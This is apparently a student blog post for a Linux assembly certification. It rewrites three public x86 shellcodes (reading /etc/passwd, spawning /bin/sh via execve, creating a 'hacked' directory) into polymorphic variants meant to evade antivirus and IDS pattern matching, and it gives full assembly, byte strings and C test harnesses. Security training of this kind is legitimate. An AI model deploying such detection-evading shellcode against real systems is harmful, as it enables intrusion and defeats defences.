SLAE32 – Assignment #6 – Generate polymorphic shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/
Student ID: PA-27669

The code and scripts for this assignment can be found on github

The goal of this assignment

  • Take up three shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing Shellcode
  • Bonus points for making it shorter in length than the original

The following system was used for development

Linux ubuntu 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Shellcodes are easily fingerprinted by AV and IDS. One solution to evade such detection could be polymorphism which is a method of defeating pattern matching. A polymorphic shellcode has the same functionality as the original shellcode, but it is uses a variety of other instructions to avoid detection. One easily detected area is the hex values of the strings (eg. “/bin/sh”, “/etc/passwd”, etc..) and we will see in this post how to obfuscate them along with other polymorphic conversions.

From this shell-storm list we selected 3 shellcodes

Tiny Read File Shellcode

The original shellcode is shown below, also it can be found here

/*

   Tiny Read File Shellcode - C Language - Linux/x86
   Copyright (C) 2013 Geyslan G. Bem, Hacking bits

   http://hackingbits.com
   geyslan@gmail.com

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see <http://www.gnu.org/licenses/>.

*/

/*

   tiny_read_file_shellcode

   * 51 bytes
   * null-free
   * read 4096 bytes from /etc/passwd file


   # gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode

   Testing
   # ./tiny_read_file_shellcode

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

              "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
              "\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
              "\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
              "\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
              "\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
              "\x80";


main ()
{

    // When contains null bytes, printf will show a wrong shellcode length.

    printf("Shellcode Length:  %d\n", strlen(shellcode));

    // Pollutes all registers ensuring that the shellcode runs in any circumstance.

    __asm__ ("movl $0xffffffff, %eax\n\t"
            "movl %eax, %ebx\n\t"
            "movl %eax, %ecx\n\t"
            "movl %eax, %edx\n\t"
            "movl %eax, %esi\n\t"
            "movl %eax, %edi\n\t"
            "movl %eax, %ebp\n\t"

            // Calling the shellcode
            "call shellcode");

}

We use ndisasm on the original shellcode variable to get the assembly code

echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u -

Then we need to verify it is working so we compile and run

Since everything works we will discuss the code changes in sections

Open section

One of the most important changes is to change the hex values of the strings. These are easily detected from AVs/IDS. So we changed the ecx with ebx and we zero it out with the sub instruction. Then we multiply ebx, implicitly with eax, which zeros out the eax and edx. We continue and we change the mov instruction to an add instruction which is the same action since eax is zero. The other interesting part is that we have changed the hex value of the strings and we do some operations to retrieve the original value back. Specifically we took the half hex value of the first string, we add it twice and we add one since it not exactly the half. Then on this value we do other proper additions and subtractions in order to retrieve the initial values.

We verify our calculations with gdb. We see that the final value is the hex value of the string ‘te//’ which is the right one so we are ok to continue

Read section

In this section we replaced the initial xchg instructions with two simple moves which has the same result. We do not care about the previous value of ecx so this simplifies the logic. The instruction of zeroing out the edx is not needed since it is already zeroed out from the first mul instruction. Edx would initially hold the value of 4096 directly so to add to polymorphism we changed it into two instruction, one that sets the value -2 and an other that adds +2.

Write & Exit section

For this section the xchg replaced with more verbose instructions, the xor instructions were replaced with sub instructions and we played with some calculations. Also in the exit section we replaced the xchg instruction with a mov instruction and direct values, which on they turn were obfuscated with some calculations.

We assemble/link and run

./compile_for32.sh read
./read

We do a quick check for nulls

objdump -d -M intel read

We get the shellcode with this expression

objdump -d ./read|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

and test it in a c file

unsigned char code[] = \
"\x29\xdb\xf7\xe3\x04\x05\x53\xbb\xb9\xb9\x3b\x32\x01\xdb\x43\x53\x81\xeb\x10\x44\x07\x03\x53\x81\xc3\xcc\xff\xf4\x12\x53\x89\xe3\x31\xc9\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x83\xc2\x02\xcd\x80\x89\xc6\x89\xd0\x89\xf2\x29\xc0\xb0\x03\xfe\xc0\xb3\x01\xcd\x80\x89\xd8\x6a\x04\x5b\x4b\xcd\x80";


              main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Build and execute

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode

The result is this

The full polymorphic code is shown below

global _start


section .text

_start:

  ; open section
  
  ;xor ecx,ecx
  ;mul ecx
  sub ebx, ebx    ; zero out ecx
  mul ebx     ; eax, edx, ecx is zero now
  
  ;mov al, 0x5
  add al, 0x5
  ;push ecx
  push ebx

  ;push dword 0x64777373  ; 'dwss'
  mov ebx, 0x323BB9B9 ;
  add ebx, ebx    ; obsfucate the hex value
  inc ebx     ;
  push dword ebx

  ;push dword 0x61702f63  ; 'ap/c'
  sub ebx, 0x3074410  ; we sub from the value of 0x64777373 the number 0x64777373
        ; so we have again the value of 0x61702f63

        push dword ebx

  ;push dword 0x74652f2f  ; 'te//'
  add ebx, 0x12F4FFCC

        push dword ebx

  mov ebx,esp
  xor ecx, ecx    ; need to set ecx to zero, also helps with polymorphism
  int 0x80
  
  ; read section
  ;xchg eax,ebx
  ;xchg eax,ecx
  mov ecx, ebx    ; this will do the same thing with the xchgs
  mov ebx, eax    ;
  
  mov al,0x3    ; 
  ;xor edx,edx    ; already zero from mul
  ;mov dx,0xfff     
  mov dx,0xffe    ; reduce the value      
  ;inc edx      
  add edx,0x2   ; restore it
  int 0x80
  
  ; write section
  ;xchg eax,edx   
  mov esi, eax    ; replace xchg
  mov eax, edx
  mov edx, esi

  sub eax,eax   ; change xor to sub
  mov al,0x3    ; decrease val
  inc al      ; restore it
  mov bl,0x1
  int 0x80
  
  ; exit section
  ;xchg eax,ebx
  mov eax, ebx    ; replaced xchg with mov
  push 0x4
  pop ebx     ; more poly 
  dec ebx
  int 0x80

The initial length of the code is 51
The final polymorphic is 75
The max allowed size is 51 * 1.5 = 76.5 so we are in scope

execve(“/bin/sh”)

The original shellcode is shown below and can also be found here

/*

 Tiny Execve sh Shellcode - C Language - Linux/x86
 Copyright (C) 2013 Geyslan G. Bem, Hacking bits

   http://hackingbits.com
   geyslan@gmail.com

 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or
 (at your option) any later version.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>

*/

/*

   tiny_execve_sh_shellcode

  * 21 bytes
  * null-free


   # gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode

   Testing
   # ./tiny_execve_sh_shellcode

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";


main ()
{

        // When contains null bytes, printf will show a wrong shellcode length.

  printf("Shellcode Length:  %d\n", strlen(shellcode));

  // Pollutes all registers ensuring that the shellcode runs in any circumstance.

  __asm__ ("movl $0xffffffff, %eax\n\t"
     "movl %eax, %ebx\n\t"
     "movl %eax, %ecx\n\t"
     "movl %eax, %edx\n\t"
     "movl %eax, %esi\n\t"
     "movl %eax, %edi\n\t"
     "movl %eax, %ebp\n\t"

     // Calling the shellcode
     "call shellcode");

}

First we use ndisasm to see the assembly code

echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u -| awk '{print $3, $4, $5}' > execve.nasm

The original extracted assembly code is this

xor ecx,ecx
mul ecx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80

After our polymorphic transformation the code is converted to this

global _start

section .text

_start:


        ;xor ecx,ecx
        sub ecx, ecx
        push ecx                ; push null
        mov ecx,0x68732F2E      ; one les than the hex value we need for 'hs//'
        inc ecx                 ; restore the hex
        push ecx                ; push it to stack
        add ecx,0x05F632FF      ; this is one less than the actual value we need in order to avoid null
        inc ecx                 ; increase the value so we get back 'nib/'
        push ecx                ; push it to stack

        ;push dword 0x68732f2f  ; we transfered the strings at the start of code
        ;push dword 0x6e69622f  ; and we obsfucate them

        sub ecx, ecx            ; change xor to sub
        mul ecx
        mov al,0xc              ; increase the value
        dec al                  ; restore it
        ;push ecx
        ;push edx
        mov ebx,esp
        int 0x80

For this shellcode we did the following. We first re-ordered the instructions and bring at the start the push instructions for the strings. Then we obfuscate the hex value of the strings by setting to ecx the hex value -1 and then immediately restore it by adding one and we push it. For the other hex value we add the difference of the two hexes minus one in order to avoid a null byte that can appear and again we increment the value by 1 and push it to the stack. All the zero out instructions were replaced from xor to sub. Last, we increase the value of al by one and we restore it back immediately with a dec instruction

Now we assemble/link our code to test it

./compile_for32.sh execve
./execve

And we use the usual c file to test it

unsigned char code[] = \
"\x29\xc9\x51\xb9\x2e\x2f\x73\x68\x41\x51\x81\xc1\xff\x32\xf6\x05\x41\x51\x29\xc9\xf7\xe1\xb0\x0c\xfe\xc8\x89\xe3\xcd\x80";     
 
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile and run

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode

The initial length of the code is 21
The final polymorphic is 30
The max allowed size is 21 * 1.5 = 31.5, so we are in scope

mkdir & exit or something else?

The last shellcode that we will convert can be found here

For the last shellcode a reverse tcp shell was initially selected but then we stumbled upon to this shellcode with weird comments and we were wondering what was the actual functionality. Let’s see the original code, verify the functionality and convert it.

The comment in that file is not correct.. I cut and pasted the shell code
in an existing c source and forgot to adjust it..

/*
 * This shellcode will do a mkdir() of 'hacked' and then an exit()
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
        "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed"
        "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68"
        "\x61\x63\x6b\x65\x64\x23";


void main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

As we see from the name of the shellcode it says that it creates a mkdir with the name ‘hacked’ and then exits. But the comments say “The comment in that file is not correct.. etc..” so does it do what it says? Before we change it to a polymorphic version let’s see what it does.

We use the following to get the assembly code

 echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -u - > mystery.nasm

The code is this

00000000  EB16              jmp short 0x18  
00000002  5E                pop esi     ; has the address of 'acke'
00000003  31C0              xor eax,eax     ; zero out eax
00000005  884606            mov [esi+0x6],al    ; add a null byte after the 'acked#'
00000008  B027              mov al,0x27     
0000000A  8D1E              lea ebx,[esi]   ; loads the address of the string in ebx
0000000C  66B9ED01          mov cx,0x1ed    ; sets mode at 775
00000010  CD80              int 0x80    
00000012  B001              mov al,0x1      ; exit call
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80
00000018  E8E5FFFFFF        call 0x2
0000001D  6861636B65        push dword 0x656b6361 ; 'acke'
00000022  64                fs        ; 'd'
00000023  23                db 0x23     ; '#'

We clean it and we create this

global _start

section .text

_start:

        jmp short name

callback:

        pop esi                 ; has the address of 'hacke'
        xor eax,eax             ; zero out eax
        mov [esi+0x6],al        ; add a null byte at the # so it becomes 'hacked\0'
        mov al,0x27
        lea ebx,[esi]           ; loads the address of the string in ebx
        mov cx,0x1ed            ; sets mode at 755
        int 0x80

        mov al,0x1              ; exit call
        xor ebx,ebx
        int 0x80

name:
        call callback
        push dword 0x656b6361   ; 'hacke' the 'pushd dword' is hex 68 or 'h'
        fs                      ; 'd'
        db 0x23                 ; '#'

By searching in /usr/include/x86_64-linux-gnu/asm/unistd_32.h we see that the system call that is going to call is this

#define __NR_mkdir 39

From the Linux manual we see

       #include <sys/stat.h>
       #include <sys/types.h>

       int mkdir(const char *pathname, mode_t mode);

So we expect ebx and ecx to be set. As we see ebx is set to the filename and the mode is set to 755.

So most probably it does what initialy said 😛 Let’s build and execute it.

./compile_for32.sh mystery
./mystery

And we now have our new folder ‘hacked’ with perimission 755

Now let’s create our polymorphic version

First with the help of python we get the bytes we need reverted

>>> '64656b636168'.decode('hex').encode('utf-8')
'dekcah'
>>> 

First we replace the jmp/call/pop technique and we use the stack. Then we zero out eax, ecx, edx with a sub and mul instruction and we write null to the stack. After that we obsfucate the hex values and we continue by replacing all xor instructions that zeros out the registers with the sub instruction. Also we change the value of the mkdir along with the mode argument and exit calls and then restore them.

The final polymorphic code is this

global _start

section .text

_start: 
  
; jmp short name  
  
;callback:

  ;popi esi   ; has the starting address of 'hacke'
  sub eax,eax   ; zero out eax
  mul ecx
  ;mov [esi+0x6],al ; add a null byte at the # so it becomes 'hacked\0'
  push eax    ; push null bytes in the stack
  mov eax, 0x64656B62
  inc eax
  push eax
  sub eax, eax
  mov ax, 0x6167
  inc eax
  push ax

  xor eax, eax    ; zero out eax  
  mov al,0x26
  inc eax     
  mov ebx, esp    ; loads the address of the string in ebx
  mov cx,0x1ec    ; sets mode at 754
  inc cx      ; restore it to 755
  int 0x80    

  mov al,0x2    ; exit call
  dec al
  sub ebx,ebx
  int 0x80

;name:
; call callback
; push dword 0x656b6361 ; 'hacke' the 'pushd dword' is hex 68 or 'h'
; fs      ; 'd'
; db 0x23     ; '#'

We build our code

./compile_for32.sh poly_mystery

and then we get the bytes by using this expression

objdump -d ./poly_mystery|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We test our shellcode with the following c file

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
       "\x29\xc0\xf7\xe1\x50\xb8\x62\x6b\x65\x64\x40\x50\x29\xc0\x66\xb8\x67\x61\x40\x66\x50\x31\xc0\xb0\x26\x40\x89\xe3\x66\xb9\xec\x01\x66\x41\xcd\x80\xb0\x02\xfe\xc8\x29\xdb\xcd\x80"; 
        
        
        
        main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}

We compile and run

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode

The initial length of the code is 36
The final polymorphic is 44
The max allowed size is 36 * 1.5 = 54, so we are in scope

That’s all for this assignment! Continuing for the 7th and last one!

Leave a Comment